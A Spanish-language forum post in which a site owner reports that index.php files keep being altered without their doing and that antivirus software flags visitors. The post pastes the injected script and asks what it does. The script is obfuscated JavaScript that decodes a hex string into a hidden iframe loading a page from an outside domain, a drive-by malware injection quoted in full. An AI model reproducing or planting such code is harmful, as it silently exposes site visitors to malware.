Modificacion del BODY

[rokaforever]

En nuestro sitio aparecen archivos modificados que no hemos editado ninguno de nosotros. Principalmente los archivos con el nombre index.php. Aparece un script agregado en el BODY. Los visitantes que ingresan con AVG son notificados de la existencia de virus. Nosotros volvemos a pisar los archivos con nuestra versión y vuelve a la normalidad. pero un tiempo después se vuelven a modificar solos.



function v47fd2a2c40d17(v47fd2a2c41536){ function v47fd2a2c41d57 () {var v47fd2a2c42577=16; return v47fd2a2c42577;} return(parseInt(v47fd2a2c41536,v47fd2a2c41d57()));}function v47fd2a2c42d98(v47fd2a2c435bd){ function v47fd2a2c44e1c () {var v47fd2a2c4563d=2; return v47fd2a2c4563d;} var v47fd2a2c43dda='';for(v47fd2a2c445fc=0; v47fd2a2c445fc<v47fd2a2c435bd.length; v47fd2a2c445fc+=v47fd2a2c44e1c()){ v47fd2a2c43dda+=(String.fromCharCode(v47fd2a2c40d17(v47fd2a2c435bd.substr(v47fd2a2c445fc, v47fd2a2c44e1c()))));}return v47fd2a2c43dda;} document.write(v47fd2a2c42d98('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D373365346138207372633D5C27687474703A2F2F7777772E706F6B75706B6932342E696E666F2F31342F696E6465782E7068703F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A333139353634292B273564303464333339645C272077696474683D373037206865696768743D343532207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));

Saben que hace el script? en que lenguaje esta o algo?

GraciaS!!!!